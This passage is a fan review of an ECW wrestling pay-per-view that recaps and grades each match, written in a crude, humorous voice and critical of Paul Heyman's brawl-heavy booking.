It’s elimination rules of course. Gertner’s intro is hilarious for Big Dick Dudley: “The man who last night took such liberties with YOUR mother that he is now legally your father in 17 states.” That is just awesome. About himself: “More tongue in cheek than a lesbian orgy” and “Joel, your girlfriend has me on speed dial because she loves the way I star 69 her, Gertner.” This guy is awesome.

 

He follows that up with “Currently getting jiggy with it to my left,” seriously, sign this guy now. The intro takes like 8 minutes but it’s hilarious. Balls and Axl come out and the brawl is on early. And after some ok stuff here’s New Jack with his weapons to screw the whole thing up. Oh dang it we have to listen to the stupid song again don’t we. Yep we do.

 

The music really throws things off as it keeps making me think that something important is happening or that the team who came out to it are winning. And yep it’s all weapons now. Spike keeps jumping all over the place because that’s the only thing he can do to make sense here. And now all six go into the crowd. Ok then. We’re at the merchandise stand now and Spike and New Jack dive like 15 feet to the floor through tables through the Dudleys.

 

Ok, when Mankind did it, it was cool. This was just mindless violence being substituted for wrestling. Keep in mind that ten minutes into this match the sang song is still playing. An Acid Drop through a table gets two for Spike as Bubba saves it since they want to eliminate Balls and Axl. And a 3D does just that. Twin guitar shots and an Acid Drop and a chair from the top ends this mess.

Rating: D. I hate these things. They’re just complete garbage and more than anything else, I hate that song. Why is this considered interesting or good or anything like that? Anyway, this was just like every other one of these that they did as in it was completely pointless and mindless crap.

We get a big long package about Justin Credible who was pushed to the freaking moon for years. The problem: the fans didn’t care or buy it. Why didn’t they? Simply put: he wasn’t any good. He was average and that’s it.

Justin Credible vs. Tommy Dreamer

Jenna Jameson is the new reporter. Justin Credible comes out and says he has Beaulah so who needs Jenna. I would agree actually. Nicole Bass and Jason are with him and I honestly thought Bass was a man at first. Jenna tries to act tough and it just fails. Dreamer comes out and I have to hear her consistently say Tommy I love you (for those of you that don’t know, that’s my first name).

 

He kisses her and Joey says Dreamer goes where every man has gone before which made me laugh. Dreamer actually hits a plancha as we have a priest in the front row and we keep hearing about how Justin crossed a line. That amuses me to no end. And hey, what a shock, it’s a brawl. AGAIN Joey talks about the Sandman vs. Sabu match that we can’t show. Let it be made clear: WE CANNOT SHOW IT.

 

Yeah just remember that. Dreamer hits a running dropkick to the chair while Justin is in the Tree of Woe. We get kind of a Raven spot as Dreamer gets hit with a drop toehold into a chair. Ok, Justin doesn’t deserve to be WOOED on chops. Neither does Tommy to be fair. They use a chair for about ten spots in a row because that just makes things better or whatever. Dreamer hits a DEATH VALLEY Driver (forget that Spicolli nonsense. He was a drug addict and died after taking too many drugs.

 

He’s not some saint that deserves to be canonized. Let it go already.) which Justin no sells. The spinning, which adds nothing to it that I can see, tombstone hits and here’s Beaulah. She hits Justin low and does the same to Jason before DDTing him. Nicole puts her in a bearhug which she manages to botch.

 

Bass falls out of her top as Mikey Whipwreck, who feuded with Justin but has no bearing here comes in for the save. He has a bad leg and Justin breaks a crutch over his cast before Dreamer hits a DDT for the pin.

Rating: D+. What was the point of this again? I forgot with all the chair shots and nonsensegoing on. This was just more mindless fighting that nothing actually came from. I’m not huge on that as it was just stupid. And I like Tommy.

We get the same ad from earlier for the catalogue and PPV which apparently wasn’t supposed to air then.

Now we get what was supposed to air: Bigelow vs. Taz which was because Bigelow was getting beaten up by Triple Threat so he asked Taz to be his partner to fight them. Taz gets a great line: “I’m not gonna be your partner. I’m gonna be your savior.”

 

Keep in mind that was in his shouting voice. After Taz beats up Shane and says he wants to be world champion (the match didn’t happen for almost another year) Bigelow jumps him and reveals it was all a setup to stop Taz. That makes sense I guess.

TV Title: Taz vs. Bam Bam Bigelow

Remember that Bigelow is the hometown boy. I love how they announce Bigelow’s weight and Joey says a different one during the match. That always amuses me for some reason. Bigelow hits a great powerbomb. He was always great at that move. Shame Diesel was using it in WWF so Bigelow couldn’t do it. This is a long brawl but there’s some wrestling in there to balance it out I guess.

 

They hit the crowd for awhile and actually Taz gets some solid cheers. And then Bigelow gets suplexed off the ramp and to the floor and both nearly die. Because that’s clearly the big ratings draw here right? We go back to the ring and Bigelow uses power stuff which Taz gets to suplex his way out of. See, THAT is how Taz looks good: when it’s Shane or some small guy that he’s throwing around it just gets repetitive.

 

The suplexes are leverage moves and now he’s getting to show what he can do with that leverage, making it seem far more important. The tables are brought in as we just have to have those because the wrestling here clearly isn’t good enough. We brawl on the floor AGAIN as I grow to hate Heyman even more. It’s ok to just wrestle in the ring guys. The fans are really restless here as they were popping like cherries for the wrestling stuff.

 

Case in point: Taz takes a sign to the head, fans are dead/booing. They trade punches, crowd cheers. See? It’s not hard to just have wrestling. Tazmission is locked in and Bigelow drops him through the ring. They climb out and Bigelow pulls Taz up for the easy pin. It looked cool and the fans all freaked out over it, but Bigelow couldn’t win with his shoulder piledriver to give us a standard ending? I hate that.

Rating: D+. The brawling was just too much here. This match wanted so badly to be good but the brawling and the tables and the over the top nature of it just killed the stupid thing. Paul just refused to accept the idea of two good wrestlers just getting out there and wrestling and that’s what wound up killing him off in the end. Sometimes the fans just want wrestling and while Paul tried to do that, he went too far most of the time and it killed things.

Heyman runs up and says the Kronus vs. Snow is cancelled and we’re going to see Sandman vs. Sabu from before the PPV, the PPV that the censors said WE CANNOT SEE. Ok, a few questions here. Number one, there was a lot of adult stuff on PPV yet this is inappropriate? Number two, if this is such a hot feud, which it was I guess, why not have this on the PPV?

 

If they were upset that it couldn’t be shown, why would you film it and not air it? Everything else is live, so why wasn’t this? I get in something like UFC where they have the prelim fights taped in case something goes like 10 seconds. That makes sense as it’s a legit concern and if something like that does happen, they have something that they can plug in and give the fans a legit PPV.

 

However, you wouldn’t put St. Pierre in a prelim match that MIGHT make air. This whole thing with Joey constantly saying we can’t air it but there just happens to be full commentary for it anyway makes me shake my head. I guess if you think about it enough it could make sense, but you shouldn’t have to think that hard about it which is the point.

Sabu vs. Sandman

This is dueling canes. Sabu hits the ring second and gives him some fairly weak cane shots. And as Sandman takes over…Sabu runs in for the save? The first guy is RVD in disguise. That’s actually brilliant. Alfonso sends Van Dam to the back despite them destroying Sandman. That makes sense right? Anyway, this is your standard weapons/garbage match because neither can work more than two minutes without them.

 

Wait, where are the canes? I see no canes. Oh that’s right. It’s freaking ECW, meaning there’s no logic at all. It’s just Sabu beating up Sandman for about 10 minutes before Van Dam comes out to help him. There’s just nothing to talk about here at all as it’s terrible. Sabu beats up Sandman some more and the crooked ref of the week comes out to count the pin. This was awful.

Rating: F. What was the point of the canes match or whatever? What was the point of any of this actually? I just don’t get the point here at all as it wasn’t any good and it was just more mindless brawling which seems to be the theme for the show.

Back in the arena, everyone has Styrofoam Heads. Styles yells at Heyman for showing the match that the censors wanted to keep off the air. Apparently they didn’t fix the ring but the main event is happening anyway. Styles says he quits if this happens again with Paul. It’s convincing if you don’t think about it I guess.

Chris Candido/Shane Douglas vs. Lance Storm/???

Two guesses as to who Storm’s partner is given the heads out there. And the partner is Sunny, and you can see the screwjob from here. Storm and Candido do their usual thing which means its cool. Sunny comes in and we don’t have the catfight with Francine. OF COURSE Sunny makes the swerve that no one bought. The fans chant that they want Head.

 

For some reason they give Storm a mic while he’s in a camel clutch and as Candido asks what he’s going to give him, Storm says he’s going to give him head. And yep, Snow comes out. However, for no reason at all, they keep spinning the camera upside down at random intervals. It’s REALLY confusing and annoying. So after about a three minute brawl with Snow’s music playing and Shane falling through the hole in the ring, Snow gets the pin with a Snow Plow. The celebration ends the show.

Rating: N/A. This was way too short and way too over the top to grade. With the camera spinning and the lights going out I couldn’t really keep track of it. Seriously though, this was the main event: a four minute brawl that ends with a quick pin. That sums up everything to me.

Overall Rating: D. There was one title match and a 4 minute main event. How in the heck does this validate a PPV show? This show had the skeleton of a good show there, but it just failed to deliver one. To be fair though, I think it’s because of Heyman more than anything else.

 

He just can’t let things stay the way they should be and it’s killing him. There just doesn’t need to be a chair or a big angle all the time and it weakened the show badly here. I wanted to like this show but I just couldn’t do it. They tried but they were running with an anchor. Only for ECW fans.

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